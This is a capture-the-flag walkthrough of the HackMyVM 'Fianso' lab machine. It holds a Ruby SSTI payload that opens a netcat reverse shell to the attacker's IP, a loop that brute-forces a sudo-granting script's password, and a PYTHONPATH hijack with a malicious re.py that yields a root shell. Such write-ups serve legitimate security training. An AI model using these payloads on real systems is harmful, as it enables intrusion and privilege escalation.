HackMyVM – Fianso Walkthrough – Writeup
HackMyVM has come up with a new vulnerable machine whose author is cromiphi. The machine is of medium difficulty; although you can consider it hard depending on your experience. The machine includes an SSTI vulnerability in the web server that leads to the user flag. Right after this, it includes a script that requires us to find a way to bypass a password condition. The script then updates the sudo permission of the user. Lastly, we need to exploit the insecure sudo permission that gives us a root shell. “HackMyVM – Fianso Walkthrough – Writeup”
Click here to go to the machine’s link.
Identify the target’s IP address
First of all, we have to identify the IP address of the target machine. This step is optional though since the machines include the IP address on the login prompt.
❯ fping -aqg 10.0.0.0/24
10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.160
As usual, my kali linux’s IP address is the one ending with 4, whereas that of the target is the one ending with 160.
Scan the services on the target
Once we have the IP address, we can scan the open ports for the services that we can interact with.
❯ nmap -T4 -sC -sV -p- -oN nmap.log 10.0.0.160
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-31 12:36 +0545
Nmap scan report for 10.0.0.160
Host is up (0.00080s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 ee71f4ada071e1351986abc8e6be3617 (RSA)
| 256 401cc3da83d72f60cb12473b02670414 (ECDSA)
|_ 256 1a69a7f9dca549ffd27dce45976d8ab9 (ED25519)
8000/tcp open http WEBrick httpd 1.6.1 (Ruby 2.7.4 (2021-07-07))
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-server-header: WEBrick/1.6.1 (Ruby/2.7.4/2021-07-07)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can see from the Nmap scan that the web server on port 8000 is created from WEBrick on Ruby which is similar to Python’s simple HTTP server.
Check the web server at 8000
The homepage of the web server looks as follows.

After playing with the input, we see that it reflects the submitted text. This gives us the possibility of SSTI (Server side template injection). The following link gave me a guide on the different payloads.
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
After trying a few payloads, the following command confirmed the vulnerability.
#{7*7}
Instead of returning #{7*7}, it returned 49, i.e. it executed the command. So, I opened a Netcat listener on port 9001 for a reverse shell.
❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Furthermore, I used a simple command on ruby, that gave me a reverse shell.
#{system('nc -e /bin/bash 10.0.0.4 9001')}
❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.160.
Ncat: Connection from 10.0.0.160:59378.
python3 -c 'import pty;pty.spawn("/bin/bash")'
sofiane@fianso:~$
Sudo permission of the user sofiane
The sudo permission of the user sofiane is an interesting one.
sofiane@fianso:/opt$ sudo -l
Matching Defaults entries for sofiane on fianso:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sofiane may run the following commands on fianso:
(ALL : ALL) NOPASSWD: /bin/bash /opt/harness
The user can execute a script as any user without requiring a password. The script’s content is as follows.
sofiane@fianso:~$ cat /opt/harness
#! /bin/bash
clear -x
pass=$(</opt/passwordBox/password)
info="$(hostname):$(whoami):$pass"
conf=/opt/config.conf
#touch & chmod & echo instead echo & chmod for race condition protection from user.
touch $conf
chmod 700 $conf
echo $info > $conf
echo -e "\nAuthentication to manage music collection.\n"
echo -e "\n$(date "+Date: %D")\nUser: ${info:7:4}\nHost: ${info%%:*}\n"
read -ep "Master's password: " passInput
if [[ $passInput == $pass ]] ; then
echo "sofiane ALL=(ALL:ALL) NOPASSWD:SETENV: /usr/bin/beet " >> /etc/sudoers
echo -e "Sudo rights granted !\n"
else
echo -e "Wrong password\n" && exit 1
fi
The script first reads a file passwordBox/password and stores it in a variable pass. Then, on another variable info, it concatenates the password with the hostname and the user’s name. After this, it creates a file /opt/config.conf and copies the content of the variable info into the file. However, the permissions are restrictive to the user root only. Then, it asks for the password that we don’t know yet. If the passwords match, then new permission for the user sofiane is added. This permission is insecure because it allows setting environment variables with the access of a python program.
sofiane@fianso:/opt$ sudo bash /opt/harness
Bypass the file’s condition
At this stage, we know the route to the root shell. However, we have to first identify the password to move further. It’s a tricky bit because we cannot read the password by any means. We have to identify the password’s length and then spray different passwords of the same length. Let’s check the config.conf‘s file size.
sofiane@fianso:/opt$ ls -l config.conf
-rwx------ 1 root root 43 Jan 1 06:14 config.conf
The following lines of code are important in this process.
info="$(hostname):$(whoami):$pass"
conf=/opt/config.conf
#touch & chmod & echo instead echo & chmod for race condition protection from user.
touch $conf
chmod 700 $conf
echo $info > $conf
The file size of config.conf is 43 bytes (43 characters). When we execute the code as root, the variable info contains the following data.
fianso:root:<masterpassword>
The length of fianso:root: is 12. If we subtract 12 from 43, we get 31. However, we should note that there is an end character sequence EOF (End-of-file) that as the name suggests marks the end of the file. This leaves us with a password of 30 characters. We can confirm this by creating a file with a character but its size would be 2 bytes (an extra EOF character).
sofiane@fianso:/tmp$ echo a > testfile
sofiane@fianso:/tmp$ ls -l testfile
-rw-r--r-- 1 sofiane sofiane 2 Jan 2 19:49 testfile
Now, we can extract 30 characters password from rockyou.txt as follows.
❯ grep -oP "\b(\w{30})\b" /home/kali/rockyou.txt > wordlist.txt
Then, we will serve this file through a web server.
❯ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
On the target machine’s /tmp directory, we will retrieve it.
sofiane@fianso:/tmp$ wget http://10.0.0.4:8000/wordlist.txt
--2023-01-02 18:49:24-- http://10.0.0.4:8000/wordlist.txt
Connecting to 10.0.0.4:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10354 (10K) [text/plain]
Saving to: ‘wordlist.txt’
wordlist.txt 100%[===================>] 10.11K --.-KB/s in 0s
2023-01-02 18:49:24 (122 MB/s) - ‘wordlist.txt’ saved [10354/10354]
Next, we iterate over the file and pass each line to the script as shown below.
sofiane@fianso:/tmp$ while IFS= read -r pass; do echo -e $pass | sudo bash /opt/harness; done < wordlist.txt
While the loop is in progress, we notice a message “Sudo rights granted!” and we can stop the loop. After this, we have sudo permissions as follows.
sofiane@fianso:/tmp$ sudo -l
Matching Defaults entries for sofiane on fianso:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sofiane may run the following commands on fianso:
(ALL : ALL) NOPASSWD: /bin/bash /opt/harness
(ALL : ALL) SETENV: NOPASSWD: /usr/bin/beet
Get root shell
Now, this is an easy step. Since we can set the environment variables as indicated by the SETENV flag in the sudo permission, we can exploit the fact that the permission is on a python program. The program looks as follows.
#!/usr/bin/python3
# EASY-INSTALL-ENTRY-SCRIPT: 'beets==1.4.9','console_scripts','beet'
__requires__ = 'beets==1.4.9'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('beets==1.4.9', 'console_scripts', 'beet')()
)
Being a python program, it will look for PYTHONPATH environment variables for modules. Likewise, we also see that it imports libraries re and sys. By exporting our custom file re.py in the environment variable PYTHONPATH, we can exploit this feature. On the re.py file, we can write python code for a bash shell or a reverse shell.
We will export /tmp as PYTHONPATH. So, I created re.py inside it as follows.
import os
os.system("/bin/bash -i")
Finally, we can execute the following command to get the root shell.
sofiane@fianso:/tmp$ sudo PYTHONPATH=/tmp /usr/bin/beet
root@fianso:/tmp# md5sum /etc/shadow;echo nepcodex.com
0ac844e3f141e4a226b24989357e5bd1 /etc/shadow
nepcodex.com
In this way, we can get the root shell. Lastly, I will highlight what led us to the SSTI.
def getHTMLSlimRendered(name)
correct_form = <<-slim
<html>
head
title Example
<body>
<p>#{name}</p>
</body>
</html>
slim
template = '<!DOCTYPE html><html><body>
<form action="" method="post">
First Name:<br><br>
<input type="text" name="name" value="">
<input type="submit" value="Submit">
</form><h2>Hello '+name+' !</h2></body></html>'
return Slim::Template.new{ template }.render
end
The line <h2>Hello ‘+name+’ !</h2>, simply concatenates the user’s input and returns the rendered format in the next line. So, it doesn’t escape any character. Hence, we are able to pass the template’s tags.
The notes for this machine are available on the following notion page.
https://nullvector0.notion.site/fianso-27975f0625314376b66bdd1d0b157f7d
Meanwhile, check my older post on integrating amplitude in react native.